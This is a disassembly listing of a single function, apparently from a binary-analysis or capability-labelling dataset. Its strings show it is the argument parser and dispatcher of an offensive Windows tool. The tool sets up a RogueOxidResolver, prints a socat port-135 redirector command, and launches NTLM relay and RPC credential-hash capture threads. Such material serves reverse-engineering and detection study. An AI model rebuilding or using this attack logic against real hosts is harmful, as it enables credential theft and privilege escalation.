Function at 0x140011041
Capabilities:
Create thread
Terminate process

Disassembly:
jmp 0x14001a630
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x3f0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x90
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x418]
mov rax, qword [0x140030058]
xor rax, rbp
mov qword [rbp + 0x3b8], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011861
mov dword [rbp + 4], 0xffffffff
lea rax, [rbp + 0x24]
lea rcx, [0x140028c00]
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x48]
lea rcx, str.127.0.0.1
mov rdi, rax
mov rsi, rcx
mov ecx, socket
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x78]
lea rcx, str.9999
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xa8]
lea rcx, str.9997
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xe0]
lea rcx, str.5167B42F_C111_47A1_ACC4_8EABE61B0B54
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4e
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x148], 0
lea rax, [rbp + 0x24]
mov qword [rbp + 0x168], rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x188], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
lea rax, [rbp + 0x48]
mov qword [0x140030608], rax
lea rax, [rbp + 0x78]
mov qword [0x140030610], rax
mov dword [rbp + 0x1c4], 1
cmp dword [rbp + 0x3e0], 1
jle 0x14001aa11
movsxd rax, dword [rbp + 0x1c4]
mov ecx, 2
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rdx + rax*8]
movzx eax, word [rax + rcx]
cmp eax, 0x2d
jne 0x14001aa11
movsxd rax, dword [rbp + 0x1c4]
mov ecx, 2
imul rcx, rcx, 1
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rdx + rax*8]
movzx eax, word [rax + rcx]
mov dword [rbp + 0x3b4], eax
mov eax, dword [rbp + 0x3b4]
sub eax, 0x63
mov dword [rbp + 0x3b4], eax
cmp dword [rbp + 0x3b4], 0x15
ja case.0x14001a7e2.1
movsxd rax, dword [rbp + 0x3b4]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x1ac8c]
add rax, rcx
jmp rax
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll__wtoi]
mov dword [rbp + 4], eax
jmp 0x14001a9f0
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x148], rax
jmp 0x14001a9f0
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x168], rax
jmp 0x14001a9f0
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x188], rax
jmp 0x14001a9f0
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll__wtoi]
mov dword [section..data], eax
jmp 0x14001a9f0
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x1a8], rax
jmp 0x14001a9f0
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rcx + rax*8]
mov qword [0x140030610], rax
jmp 0x14001a9f0
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rcx + rax*8]
mov qword [0x140030608], rax
jmp 0x14001a9f0
call fcn.140011857
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x3e8]
mov rdx, qword [rcx + rax*8]
lea rcx, str.Wrong_Argument:__S_n
call fcn.1400113ac
call fcn.140011857
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x3e0]
dec eax
mov dword [rbp + 0x3e0], eax
jmp 0x14001a754
cmp dword [rbp + 4], 0xffffffff
jne 0x14001aa27
call fcn.140011857
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rax, [rbp + 0x1e8]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp + 0x48]
mov qword [rbp + 0x1f8], rax
mov rax, qword [0x140030610]
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x208], rax
cmp dword [rbp + 4], 0
je 0x14001aa8d
cmp dword [rbp + 4], 2
jne 0x14001ab4f
mov rax, qword [rbp + 0x188]
mov qword [0x140030600], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [0x140030610]
lea r8, [0x14001120d]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400115e6
test eax, eax
je 0x14001aae2
lea rcx, str.___Detected_a_Windows_Server_version_compatible_with_JuicyPotato._RogueOxidResolver_can_be_run_locally_on_127.0.0.1_n
call fcn.1400113ac
mov byte [0x140030618], 1
jmp 0x14001ab4d
lea rax, [rbp + 0x48]
cmp qword [0x140030608], rax
jne 0x14001ab19
lea rcx, str.____Detected_a_Windows_Server_version_not_compatible_with_JuicyPotato__you_cannot_run_the_RogueOxidResolver_on_127.0.0.1._RogueOxidResolver_must_be_run_remotely._n
call fcn.1400113ac
mov rdx, qword [0x140030610]
lea rcx, str.____Example_Network_redirector:__n_tsudo_socat__v_TCP_LISTEN:135_fork_reuseaddr_TCP:ThisMachineIp:_S_n
call fcn.1400113ac
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov r8, qword [0x140030610]
mov rdx, qword [rbp + 0x148]
lea rcx, str.___Detected_a_Windows_Server_version_not_compatible_with_JuicyPotato._RogueOxidResolver_must_be_run_remotely._Remember_to_forward_tcp_port_135_on__S_to_your_victim_machine_on_port__S_n
call fcn.1400113ac
mov rdx, qword [0x140030610]
lea rcx, str.___Example_Network_redirector:__n_tsudo_socat__v_TCP_LISTEN:135_fork_reuseaddr_TCP:ThisMachineIp:_S_n
call fcn.1400113ac
mov byte [0x140030618], 0
jmp 0x14001ab6b
lea rax, str.127.0.0.1
mov qword [rbp + 0x1f8], rax
lea rax, [0x140029000]
mov qword [rbp + 0x200], rax
cmp dword [rbp + 4], 0
je 0x14001ab77
cmp dword [rbp + 4], 1
jne 0x14001abdd
cmp qword [rbp + 0x148], 0
jne 0x14001ab98
lea rcx, str.____Remote_HTTP_Relay_server_ip_must_be_set_in_module_0_and_1__set_it_with_the__r_flag._n
call fcn.1400113ac
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov rdx, qword [rbp + 0x148]
lea rcx, str.___Starting_the_NTLM_relay_attack__launch_ntlmrelayx_on__S___n
call fcn.1400113ac
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x1e8]
lea r8, [0x14001145b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x228], rax
jmp 0x14001ac19
lea rcx, str.___Starting_the_RPC_server_to_capture_the_credentials_hash_from_the_user_authentication___n
call fcn.1400113ac
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x1e8]
lea r8, [0x1400116b3]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x228], rax
cmp dword [rbp + 4], 0
je 0x14001ac25
cmp dword [rbp + 4], 2
jne 0x14001ac48
cmp dword [section..data], 0xffffffff
jne 0x14001ac3c
mov rcx, qword [rbp + 0x1a8]
call fcn.1400115af
jmp 0x14001ac48
mov rcx, qword [rbp + 0x1a8]
call fcn.140011636
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140028720]
call fcn.1400116f9
mov rax, rdi
mov rcx, qword [rbp + 0x3b8]
xor rcx, rbp
call fcn.1400113d4
lea rsp, [rbp + 0x3c0]
pop rdi
pop rsi
pop rbp
ret